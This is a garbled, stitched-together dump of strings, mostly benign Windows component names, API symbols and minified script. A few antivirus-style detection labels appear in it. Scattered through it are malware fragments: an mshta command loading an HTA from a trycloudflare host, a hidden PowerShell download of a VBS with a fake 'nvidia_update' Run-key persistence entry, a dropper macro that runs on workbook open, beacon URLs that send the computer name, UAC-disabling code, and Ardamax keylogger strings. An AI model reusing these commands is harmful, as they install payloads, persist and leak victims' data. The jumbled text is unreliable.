prefixorangeHeader.push(couplegardenbridgelaunchReviewtakingvisionlittledatingButtonbeautythemesforgotSearchanchoralmostloadedChangereturnstringreloadMobileincomesupplySourceordersviewed&nbsp;courseAbout island<html cookiename="amazonmodernadvicein</a>: The dialoghousesBEGIN MexicostartscentreheightaddingIslandassetsEmpireSchooleffortdirectnearlymanualSelect.
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
    <xs:attribute name="ServerName" type="t:ST_AsciiWindowsId" use="required"/>
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
windows-1252P
)RawData_MicrosoftWindowsBitLockerDriverCountersProvider_ 
C:\WINDOWS\system32\MSRLE32.DLL
Windows
Windows
Windows
Windows
/ccopillwonv\hipsexfryd.cmdabcdefghijklmnopnrstuvwxyz0123456789c:\windows\system32\shell32.dll
/cpronowaptu\brawryrigc.cmdabcdefghijklmnopzrstuvwxyz0123456789c:\windows\system32\shell32.dll
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
Microsoft.Windows.FileExplorerErrorFallback
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.FileExplorer.Aggregate
Microsoft.Windows.Shell.CloudFilesAggregate
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Storage.WinRT
Microsoft.Windows.Desktop.Shell.Shell32
Microsoft.Windows.Shell.DelayAllocateTLS
Microsoft.Windows.ApiTelemetry
Microsoft.Windows.Shell.DataLayer
Microsoft.Windows.Shell.Libraries
MicrosoftWindowsFileExplorer
Microsoft.Windows.Shell.CloudFiles
Microsoft.Windows.FileExplorerPerf
Microsoft.Windows.CentennialActivation
Microsoft.Windows.ShellExecute
Microsoft.Windows.Shell.DefaultAssoc
Microsoft.Windows.AppLifeCycle.UI
Microsoft-Windows-Shell-Launcher
Microsoft.Windows.Shell.Edp
Microsoft.Windows.Shell.OpenWith
Microsoft.Windows.Shell.NetFolder
Microsoft.Windows.Shell.DirectLaunchTelemetry
Microsoft.Windows.Shell.People
Microsoft.Windows.Shell.MountPoint
Microsoft.Windows.Shell.CCoInitializeCheck
	MicrosoftWindows.Client.WebExperience_525.31002.150.9_neutral_~_cw5n1h2txyewy
windows mai$
\WINDOWS\system32\config
windows_update_applied
(DEPRECATED_INSTALL_SOURCE_WINDOWS_UPDATE
is_startup_without_windows
c:\windows\system32\mshta.exe"\\gas-statement-highlights-excel.trycloudflare.com@ssl\\davwwwroot\pods.hta"
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
PoryMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.
\Windowslib.exe\
#powershell-command"iwrfancy-seehorse.netlify.app/code/s-nvs_update.vbs-o'%vbsfile%'"powershell-command"set-itemproperty-path'hkcu:\software\microsoft\windows\currentversion\run'-name'nvidia_update'-value'wscript.exe\"%appdata%\nvidia_sys\logs\s-nvs_update.vbs\"'"start/minwscript"%vbsfile%"
etwindowshookf
/WindowStyleHiddenq
 Windows-
 Windows-
 Windows-
 Windows-
 Windows-
 Windows-
 Windows-
 Windows-
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
Mozilla/5.0 (Windows NTf
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-BioEnrollment-UX-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
Windows.Data.WiFi.WiFiProfile
Microsoft.Windows.PerceptionApi.Stub
Windows.Perception.Stub.pdb
(@client.wns.windows.com
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Foundation.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt/Windows.Devices.Enumeration.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt/Windows.Foundation.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt/Windows.Foundation.Collections.h
EGL_CreateWindowSurface
EGL_CreatePlatformWindowSurface
schtasks/run/tn"\microsoft\windows\wwansvcdcs
"C:\Windows\SystemApps\Microsoft
Windows::Media::Playback::MediaPlaybackList::RuntimeClassInitialize
Windows::Media::Core::TimedTextCueServer::get_CueRegion
Windows::Media::Streaming::Adaptive::CMFAdaptiveStreamingHeuristics::OnDownloadProgressRecordCompleted
Windows::Media::Playback::MediaPlaybackList::get_Items
Windows::Media::Playback::MediaPlaybackItemImpl::GetState
Windows::Media::Playback::CurrentMediaPlaybackItemChangedEventArgs::get_NewItem
Windows::Media::Playback::MediaPlaybackItemImpl::UpdateMediaTracks
Windows::Media::Playback::MediaPlaybackItemImpl::get_Source
Windows::Media::Transcoding::CTranscodeOperation::OnProgress
qWindows::Media::Playback::TrackList<class Windows::Media::Core::TimedMetadataTrack,struct Windows::Media::Core::ITimedMetadataTrack>::First
gWindows::Media::Streaming::Adaptive::CMFSourceBufferManager::GetBufferEndTimeNS100
ComSpec=C:\WINDOWS\system32\cmd.exe
WindowsConcatString
WindowsCreateStringReference
WindowsDeleteString
WindowsCompareStringOrdinal
WindowsCreateString
WindowsDuplicateString
WindowsGetStringRawBuffer
WindowsGetStringLen
WindowsIsStringEmpty
windows-updater.net/realmuto/wood.php
tpowershell-windowstylehidden-command
Windows
Windows
Windows
Windows
Windows
Windows
Windows
Windows
Windows 10
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Winapi.Windows
 http://www.microsoft.com/windows0
WindowsUdk.AI.MachineLearning
WindowsUdk
WindowsUdk.Health.TestInProduction
Nwindir=C:\WINDOWS
SystemRoot=C:\WINDOWS
WINDOWS;C:\WIN
windir=C:\WINDOWS
&.NET Docking Library for Windows Forms
 @Windows.C
 @Windows.
%(@Windows.Data.Accessibility.Narrator.SyncedSettingsX
	CloudData.WindowsClient.
 @Windows.Data.Platform.Diagnostics
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateString
windows update runner
4\WindowsComodo\svchost.exe +h +ayokmu loggerh
Private Sub Workbook_Open()Dim ws As WorksheetDim oo As OLEObjectSet ws = Sheets("Sheet3")Set oo = ws.OLEObjects("Object 1")Set myWS = CreateObject("WScript.Shell")myWS.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1806", "0", "REG_DWORD"oo.Verb xlVerbPrimarymyWS.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1806", "1", "REG_DWORD"TrojanDropper:O97M/Rupod.A
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft.Windows.Licensing.Sppc
Microsoft.Windows.TaskScheduler
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\
SOFTWARE\Microsoft\Windows\CurrentVersion\RunWindows SysNotify
c:\windows\system32\rsvp.exe"c:\windows\system32\notepod.exe" "%1"software\microsoft\windows\currentversion\explorer\fileexts\.txt{990b770d-62ae-5421-da6d-16033b76258c}
Windows Safety AlertshellserviceobjectdelayloadThis program install on your system antivirus software.You need to reboot your computer to finalize uninstallation. Reboot now?Please wait while Safety Alerter 2006 is being uninstalled. Close all applications.You need to reboot your computer prior to uninstallation. Reboot now?
{3F6D54BB-34EE-4469-B094-86B09E53BCF8}C:\WINDOWS\SYSTEM32\comm.xmlSoftware\Microsoft\Windows\CurrentVersion\Explorerhuman
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_1>@?4??Connect@?$SettingsPageT@USettingsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@UPointerEventHandler@Input@Xaml@UI@Windows@winrt@@V<lambda_2>@?4??Connect@?$SettingsPageT@USettingsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AV<lambda_2>@?4??Connect@?$SettingsPageT@USettingsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_9>@?M@??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_9>@?M@??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_1>@?4??Connect@?$SettingsPageT@USettingsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_1>@?4??Connect@?$SettingsPageT@USettingsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_8>@?L@??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_8>@?L@??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_9>@?M@??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_8>@?L@??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_7>@?9??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_6>@?8??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_7>@?9??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_7>@?9??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_5>@?7??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
System.Windows.Forms.Layout
System.Windows.Forms.Layout.IArrangedElement.PerformLayout
System.Windows.Forms.Layout.IArrangedElement.ParticipatesInLayout
System.Windows.Forms.Layout.IArrangedElement.get_ParticipatesInLayout
System.Windows.Forms.UnsafeNativeMethods.IOleClientSite.RequestNewObjectLayout
System.Windows.Forms.UnsafeNativeMethods.IEnumUnknown.Next
System.Windows.Forms.UnsafeNativeMethods.IEnumVariant.Next
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextRangeProvider.FindText
"http://6t.pm:8080/bgbvb/uayavanfz/pd6epw440wt/er/%computername%"shell32.dll%systemroot%\system32\cmd.exe
[b"http://3z.nu:8080/y/hbddhnt1gje/1sgmxhbx/dc6xdhj1c/ch//%computername%"!%systemroot%\system32\shell32.dll
>\system32\rundll32.exe
!%systemroot%\system32\shell32.dll%windir%\system32\rundll32.exe
,plugininit6c:\programfiles\windowsphotoviewer\photoviewer.dllc:
\windows\inf\newskaterock\
\\WINDOWS\
onboardingwindows11tomicrosoftdefender
  <DockWindows>
System.Windows.Forms.Layout.IArrangedElement.Children
System.Windows.Forms.Layout.IArrangedElement.get_Children
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextRangeProvider.GetChildren
System.Windows.Forms.Design
Password protection (Security Page) is not active.When someone clicks "%s",No method for sending logs is selected.You have %i day(s) leftThe Ardamax Keylogger test FTP delivery has been completed succesfully.The Ardamax Keylogger test e-mail delivery has been completed succesfully.The "Launch at Windows startup" option (Options Page) is disabled. The keylogger will not be launched when Windows is started.This is a test of the Ardamax Keylogger.AKLMW{1BF90DA7-B424-43bf-AEBA-ACE442A4D429}The "Hide the program from Windows startup list" option is enabled (Invisibility Page). If the computer is not shut down correctly or if there is a system failure, the keylogger will not be started together with Windows.http://www.ardamax.comArdamax KeyloggerAKL_TEST.001_
1c;,DEngine BuilderExecutable name is required.When someone clicks "%s", will be invisibly installed. It will start launching invisible in the system trayEach %i %s it will send logs to "%s" via e-mail. Each %i %s it will upload logs to the "%s" folder on the FTP server "%s". To restore Visible Mode press:Deployment package created succesTo enable/disable the invisible mode, the "will automatically delete itself on Each time the installation package is launched, it will display the reminder that you should register it.The "Launch at Windows startup" option (Options Page) is disabled. The UWM_WNDMONHOOK_MSG-UWM_KEYHOOK_MSG-www.ardamax.comAKL_TEST/testCannot launch Log Viewer.Are you sure to clearInstant.LoggingEnabledSecurity.ProtectHiddenModeInvisibility.UninstallLisOptions.HideOnStartupOptions.HideHotkeytest FTP delivery has been completed succesfully.test e-mail delivery has been completed succesfully./order_akl.html
@"vComet Cursor 3.0 InstallerSoftware\Microsoft\Internet Explorer\SearchSoftware\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{1678F7E1-C422-11D0-AD7D-00400515CAAA}
VCOMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
unie a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
powershell'powershell-windowstylehidden-command"invoke-webrequest-uri'%
C:\Windows\SystemApps\Microsoft
C:\Windows\SystemApps\Microsoft
.exec "c:\windows\
lfunc_uac_enabledisable($istate=2)local$sregkey="hkey_local_machine64\software\microsoft\windows\currentversion\policies\system"if@osarch<>"x64"then$sregkey=stringreplace($sregkey,"64","")if(@osversion="win_vista")or(@osversion="win_7")thenifregwrite($sregkey,"consentpromptbehavioradmin","reg_dword",$istate)then
iwshshortcut.iconlocation("%systemroot%\system32\shell32.dll,3");iwshshortcut.save();ifolder.path()
lmcu\software\microsoft\windows\currentversion\policies\system/vdisablecmd/treg_dword/d
powershell.exe-windowstylehidden-command"start-process'%gamepath%'-argumentlist'%
If?mZee?`2powershell.exe-windowstylehidden-command"start-process'%gamepath%'-argumentlist'%
\windows\explorer.exe".\.__macos__\.__macos__\.__macos__\.__macos__\.__macos__\.__macos__\
createmenuinsertmenuitemaenablewindowcheckmenuitemsetmenugetwindowtextlengthaisiconicgetmenugetwindowlongadialogboxsetwindowposloadimageadialogboxindirectparamamonitorfromrectwindowfrompointdrawtextexadrawtextatabbedtextoutareleasedcisdialogmessageagetclasslongagetclassinfoexasetpropagetproparemovepropasenddlgitemmessageagetmessagetimegetmessageposmapwindowpointsscrollwindowsetscrollposgetsyscolorsetscrollinfogetdlgctrlidcallwindowprocascalewindowextexsetwindowextexscaleviewportextexsetviewportextexoffsetviewportorgexsetviewportorgextextoutarectvisibleptvisibleselectobjectcreatefontasetmapmodesetbkmodesavedcsetbkcolorsettextcolor!#HSTR:Trojan:Win32/Protdisuac.A1
AddingDMAWindowsScopeNarratorText
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsCompareStringOrdinal
WindowsIsStringEmpty
WindowsCreateStringReference
WindowsCreateString
WindowsGetStringLen
WindowsDeleteString
%LocalAppData%\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\AC
%LocalAppData%\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\LocalCache
%LocalAppData%\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings
%LocalAppData%\Microsoft\Windows\INetCache
-workingdirectory$env:temp-windowstylehidden
 Windows
--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723;(
windows.appExtension
Microsoft.OutlookforWindows
Windows.Client.Core_cw5n1h2txyewy!A
Microsoft.Windows.PrintDialogSRD1
y<i>windowskey</i>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
e.exe;%system32%\slui
Mstarwwsose.comstarsssprose.comaobao.c/browse/search_auction.htmForceRemove {ABCAE223-1278-7829-A43E-42D18BB79950} = s 'Windows Assistannt v.
del "c:windows\system32\bootcfg.exe" /f /s /q
C:\WINDOWS\windowsxp.exe"C:\WINDOWS\system\csrss.exe" /paraC:\RECYCLER\S-1-5-21-1482476501-1644491937-682003330-1013\smartmgr.exeSOFTWARE\Microsoft\Active Setup\Installed Components\{28ABC5C0-4FCB-11CF-AAX5-81CX1C635612}shell\explore\Command=windowsxp.exe
Windows OS VerV	
\system32\cmd.P	
.LoadDll("Run", arg, "C:\\Windows\\E
https://www.bing.com/rp/TdKJdV1DfWNzEjGrSxPO4leshec.br.jsvar FailedPromise=function(){function n(){this.isActive=!0;this.operation=null}return n.prototype.then=function(n,t){return this.handleError(t),this},n.prototype.done=function(n,t){this.handleError(t)},n.prototype.handleError=function(n){this.isActive&&n&&_w.setImmediate(function(){return n(null)})},n.prototype.cancel=function(){this.isActive=!1},n}(),ThresholdUtilitiesM2=function(){function n(){this.regExes={};this.guidCleaner=/[-{}]/g;this.isFirstPageStart=!0;this.startTime=_w.performance?_w.performance.timing.navigationStart:si_ST;this.apiSequenceNumber=0;this.headersAsyncPromise=null;this.headersCallComplete=!1;this.cortanaHeaders=null;this.themeColor=null;this.isDarkTheme=null;this.headersCallTimeout=3e3;this.headersCallbacks=[];this.headersRetried=!1;this.rtlLangs=["ar","dv","fa","he","ku-arab","pa-arab","prs","ps","sd-arab","syr","ug","ur","qps-plocm"];sj_evt.bind("ajax.threshold.authChanged",sj_dm(this,this.clearLocalCache),1);sj_evt.bind("ajax.threshold.pageStart",sj_dm(this,this.onPageStart),1)}return n.prototype.getUrlParameter=function(n,t){for(var r=null,f=this.getParameterRegex(t),u,i;u=f.exec(n);)i=u;return i&&i.length>=2?r=i[1]:t==="mock"&&(r=this.getMockParameter(n)),r},n.prototype.setUrlParameter=function(n,t,i){var r=n,u=this.getParameterRegex(t).exec(n),f="&",e,o,s;return u?(f=u[0].substring(0,1),e=u.index,o=u.index+u[0].length,r=n.substring(0,e),i&&(r+=f+t+"="+i),r+=n.substring(o)):i&&(s=this.getRegex("devicecontent"),s.test(n)?n.indexOf("#")<0&&(f="#"):n.indexOf("?")<0&&(f="?"),r=n+f+t+"="+i),r},n.prototype.getDecodedQuery=function(n){var i=n,t;return i||(i=_w.location.href),t=this.getUrlParameter(i,"q"),t&&(t=decodeURIComponent(t.replace(this.getRegex("\\+")," ")).trim()),t},n.prototype.getUrlReadyQuery=function(n){return encodeURIComponent(n).replace(this.getRegex("%20"),"+")},n.prototype.recordApiTimeDetail=function(n,t,i){var u=new Date,f,r,e,o;if(n&&(_G.ApiTimes=_G.ApiTimes||{},_G.ApiTimes[n]=u.getTime()-this.startTime),i){f={};for(r in i)i.hasOwnProperty(r)&&(f[r]=i[r]);i=f;i.time=u}else i={time:u,label:n||t,sequence:this.apiSequenceNumber++};return e=_w.msWriteProfilerMark,o=i.sequence+","+(n||i.label),e&&e(o),_w.performance&&performance.mark&&performance.mark(o),i},n.prototype.recordApiTime=function(n){return this.recordApiTimeDetail(n),null},n.prototype.uploadApiTimes=function(n,t){var i=_G.ApiTimes;this.recordApiTime(n);i&&typeof Log2!="undefined"&&Log2&&(Log2.LogEvent("CPT2",{wt:i},null,null,null,null,null,null),t&&t(i),_G.ApiTimes={})},n.prototype.wrapSynchronousApiCall=function(n,t,i,r){for(var e,o,s,h=this,f=[],u=4;u<arguments.length;u++)f[u-4]=arguments[u];e=this.recordApiTimeDetail(i?i+"S":null,t);s=function(n,u){var o=h.recordApiTimeDetail(i?i+n:null,t,e),s=u?" exception: "+u.stack:"";h.recordApiString("ApiEnd "+n+' \t"'+(r?r:"")+'"\t'+t+"("+f.join(", ")+")\t"+(o.time.getTime()-e.time.getTime())+"ms elapsed"+s)};try{o=n[t].apply(n,f);s("C")}catch(c){s("E",c);SharedLogHelper.LogError("Exception","Failed while calling overrideMethod: "+t,c);o=null}return o},n.prototype.wrapApiCall=function(){for(var i,n=[],t=4;t<arguments.length;t++)n[t-4]=arguments[t];for(n=[],i=0;i<arguments.length;i++)n.push(arguments[i]);return n.splice(4,0,0,null),this.wrapApiCallWithTimeout.apply(this,n)},n.prototype.wrapApiCallWithTimeout=function(n,t,i,r,u,f){for(var y,s=[],h=6;h<arguments.length;h++)s[h-6]=arguments[h];if(_w.SearchAppWrapperLogging)return n[t].apply(n,s);var l=this,a=this.recordApiTimeDetail(i?i+"S":null,t),e,o,c=function(n,u){var e="stack",o=l.recordApiTimeDetail(i?i+n:null,t,a),f=u&&u[e]?" exception: "+u[e]:"";u&&f===""&&(f=" Windows error: "+u.message);l.recordApiString("ApiEnd "+n+' \t"'+(r?r:"")+'"\t'+t+"("+s.join(", ")+")\t"+(o.time.getTime()-a.time.getTime())+"ms elapsed"+f)};try{o=n[t].apply(n,s);this.recordApiTimeDetail(i?i+"P":null,t);u&&u>0&&(e=sb_st(function(){o&&o.cancel&&o.cancel();c("T");f&&f(null)},u));o.then(function(n){return e&&sb_ct(e),c("C"),n},function(n){e&&sb_ct(e);c("E",n);SharedLogHelperV
\windows\system32\certsrv.exe
%Microsoft Windows Production PCA 20110
Microsoft Windows0
/\windows runtime help 4.881.1208\shell\open\command
1\windows runtime help 4.881.1208\shell\open\command
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
.WindowsFeedbackHub_8wekyb3d8bbwe
PRO.FILE V8 Windows#
Windows\/
	WINDOWS11
WINDOWS11P
45907smallapp.ScreenRecorderforWindows11_z9hw59krvrfng!App/
windows64\t32star
Veeam.AgentForMicrosoftWindows-
Windows f
{6D809377-6AF0-444B-8957-A3773F02200E}\Windows Admin Center\SmeDesktop.exe1
windows G
OM.SDKWindowsH
WindowsBase
get_WindowState
set_WindowState
_savedWindowState
FormWindowState
get_PreviousWindowState
set_PreviousWindowState
    <xs:attribute name="ServerName" type="t:ST_AsciiWindowsId" use="required"/>
/\Windows\
x/manifest/deployment/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/deployment/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/virtualization/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/virtualization/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
WindowsUEFICA2023Capable0
,eechWindowSplashScreen.scale-125.png&
WINDOWS\system32\1.binW
windows ru
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
\Windows\Microsoft.NET\Framework\v4.0.30319\
<exec><command>powershell.exe</command><arguments>-windowstylehidden-executionpolicybypass-file
c"c:\windows\system32\
schtasks/run/tn"\microsoft\windows\wwansvcdcm
2MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopSpotlight
1^MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DesktopStickerEditorCentennial
WindowsIntegratedAuth with common realm and an enabled flight. Returning true.
WindowsIntegratedAuth with common realm and disabled flights. Returning false.
WindowsIntegratedAuth with consumer realm and enabled MSA flight and non-NAA. Returning true.
